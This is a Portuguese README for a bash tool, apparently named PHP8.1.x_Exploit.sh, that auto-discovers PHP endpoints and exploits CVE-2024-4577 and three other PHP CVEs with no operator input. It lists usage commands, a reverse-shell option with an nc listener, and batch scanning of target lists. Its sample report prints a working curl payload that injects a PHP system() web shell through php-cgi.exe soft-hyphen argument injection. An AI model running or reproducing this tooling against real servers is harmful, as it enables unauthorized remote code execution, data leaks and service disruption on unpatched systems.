
Detecção e exploração automatizada de vulnerabilidades críticas do PHP (CVE-2024-4577 bypass, CVE-2025-14177, CVE-2025-14180, CVE-2025-14178)
Detecção e exploração automatizada de vulnerabilidades críticas do PHP (bypass CVE-2024-4577, CVE-2025-14177, CVE-2025-14180, CVE-2025-14178)
PHP8.1.x_Exploit.sh é uma ferramenta de avaliação de segurança de arquivo único e zero configuração que descobre automaticamente endpoints PHP vulneráveis e explora quatro CVEs de alto impacto que afetam versões do PHP anteriores a 8.1.34 (lançada em dezembro de 2024). Não requer nenhuma criação manual de payload – basta fornecer uma URL e o script faz o resto, desde o rastreamento até a execução remota de código. Totalmente autopilot – detecta e explora automaticamente sem prompts do usuário.
-d e bypass com hífen soft %AD.getimagesize()
array_merge.parallel se disponível, e falha graciosamente caso contrário.Nenhum privilégio de root necessário – a ferramenta apenas envia requisições HTTP e opcionalmente executa um reverse shell (requer um listener na sua máquina).
git clone https://github.com/gl1tch0x1/PHP_8.1.x_Exploit.git
cd PHP_8.1.x_Exploit
chmod +x PHP8.1.x_Exploit.sh
Alvo único (mais comum)
./PHP8.1.x_Exploit.sh -u http://target.example.com
Alvo único com reverse shell (CVE-2024-4577)
./PHP8.1.x_Exploit.sh -u http://vulnerable-win-server.local/ --revshell 192.168.1.100 4444
Então na sua máquina:
nc -lvnp 4444
Escaneamento em lote de múltiplos alvos
./PHP8.1.x_Exploit.sh -l targets.txt --threads 10
Exemplo targets.txt:
http://192.168.1.1/
https://10.0.0.5:8080/
http://internal-app.company.com
Modo apenas escaneamento (sem tentativas de exploração)
./PHP8.1.x_Exploit.sh -u http://target.com/ --scan-only
Salvar relatório em arquivo
./PHP8.1.x_Exploit.sh -u http://target.com/ -o results.txt
Saída verbose / debug
./PHP8.1.x_Exploit.sh -u http://target.com/ --verbose
./PHP8.1.x_Exploit.sh -u http://target.com/ --debug # muito ruidoso
Nota: CVE‑2025‑14180 e CVE‑2025‑14178 só podem ser detectados com precisão de dentro do servidor (testes locais). O script faz isso enviando um scanner após um exploit CGI bem-sucedido.
[*] Scanning: http://192.168.1.100/
[*] OS: windows
[*] PHP version: 8.1.33
[*] Testing CVE-2024-4577 on http://192.168.1.100/cgi-bin/php-cgi.exe
[✓] CVE-2024-4577: VULNERABLE (soft hyphen injection)
[*] Attempting reverse shell to 192.168.1.5 4444
...
[*] Testing CVE-2025-14177 via http://192.168.1.100/upload.php
[-] CVE-2025-14177: Potential heap leak detected!
...
[*] Running deep local scan via RCE...
PHP_VERSION=8.1.33
CVE-2025-14180: VULNERABLE
CVE-2025-14178: VULNERABLE
CVE-2025-14177: VULNERABLE (leak: 486561704c65616b21...)
===================== Report for http://192.168.1.100/ =====================
OS: windows
PHP: 8.1.33
CVE-2024-4577: EXPLOITABLE at http://192.168.1.100/cgi-bin/php-cgi.exe?%ADd+allow_url_include=on+%ADd+auto_prepend_file=php://input
PoC: curl -X POST --data '<?php system($_GET["c"]); ?>' 'http://192.168.1.100/cgi-bin/php-cgi.exe?%ADd+allow_url_include=on+%ADd+auto_prepend_file=php://input&c=whoami'
CVE-2025-14177: VULNERABLE
CVE-2025-14180/14178: VULNERABLE (see deep scan output)
==============================================================
--revshell abre um socket do alvo para sua máquina. Certifique-se de que tem o direito de conectar de volta.Pull requests, relatórios de bugs e sugestões de funcionalidades são bem-vindos. Por favor, siga:
parallel.GNU General Public License v3.0 – veja o arquivo LICENSE.
Feito com 🧠 para a comunidade de segurança. Use eticamente.
| Dependência | Propósito | Geralmente instalada? |
|---|
bash 4.0+ | Interpretador de script | Sim (Linux/macOS) |
curl | Requisições HTTP | Sim |
grep, sed, awk | Processamento de texto | Sim |
mktemp | Criação de arquivo temporário | Sim |
(opcional) parallel | Escaneamento em lote mais rápido | Não (mas recomendado) |
(opcional) jq | Formatação de saída JSON | Não |
| Fase | Ação |
|---|
| 1 | Identificação – SO e versão do PHP a partir de cabeçalhos e sondagens. |
| 2 | Rastreamento – extrai atributos href e action da página inicial. |
| 3 | Descoberta de CGI – tenta caminhos comuns e links rastreados que parecem CGI. |
| 4 | Teste CVE‑2024‑4577 – injeta ambos os payloads -d e %AD; se bem-sucedido, executa comandos ou envia reverse shell. |
| 5 | Descoberta de endpoint de upload – verifica caminhos de upload comuns e quaisquer formulários contendo 'upload'/'image'. |
| 6 | Teste CVE‑2025‑14177 – cria um JPEG malformado, faz POST para cada endpoint de upload, detecta vazamentos de heap. |
| 7 | Escaneamento interno profundo – se RCE for alcançado, envia um script PHP scanner e o executa para testar CVE‑2025‑14180 / CVE‑2025‑14178. |
| 8 | Relatório – imprime um resumo e opcionalmente escreve em um arquivo. |
| Opção | Descrição |
|---|
-u URL | URL de alvo único (ex.: http://example.com/) |
-l FILE | Arquivo em lote com uma URL por linha |
--scan-only | Apenas detectar – não explorar (sem reverse shell, sem upload de payloads) |
-o FILE | Escrever relatório final em FILE |
--threads N | Número de threads paralelas para escaneamento em lote (padrão: 5) |
--timeout N | Timeout HTTP em segundos (padrão: 10) |
--no-color | Desabilitar saída colorida |
--verbose | Mostrar progresso detalhado |
--debug | Mostrar cada requisição HTTP (pode expor dados sensíveis) |
--revshell IP PORTA | Tentar reverse shell quando CVE‑2024‑4577 for encontrado |
-h, --help | Exibir ajuda e sair |
| CVE | Severidade | Impacto | Vetor de exploração | Corrigido em |
|---|
| CVE‑2024‑4577 (bypass) | Crítico | RCE | Injeção de argumento CGI no Windows (mapeamento de hífen soft) | PHP 8.1.34 |
| CVE‑2025‑14177 | Médio/Alto | Vazamento de informações (memória heap) | JPEG malformado passado para getimagesize() | PHP 8.1.34 |
| CVE‑2025‑14180 | Alto | DoS (desreferência NULL) | PDO PostgreSQL com prepares emulados + parâmetro malformado \x99 | PHP 8.1.34 |
| CVE‑2025‑14178 | Alto (8.2) | DoS / potencial corrupção de memória | array_merge() com arrays enormes causando estouro de inteiro | PHP 8.1.34 |
| Problema | Solução |
|---|
curl: comando não encontrado | Instale curl |
GNU parallel não encontrado | Ignorado – script funciona sem ele (escaneamento em lote mais lento) |
| Nenhum endpoint CGI encontrado | O alvo pode não usar CGI, ou está atrás de um WAF que bloqueia flags -d |
| CVE-2024-4577 funciona mas reverse shell falha | Verifique o firewall; tente um payload mais simples com --scan-only e um listener nc manual |
| Teste de vazamento de imagem sempre retorna "Sem vazamento" | O endpoint de upload pode não usar getimagesize(), ou ele limpa dados binários |
| Falha no upload do scanner local | A raiz web pode não ser gravável; o script tenta escrever no mesmo diretório que o script CGI |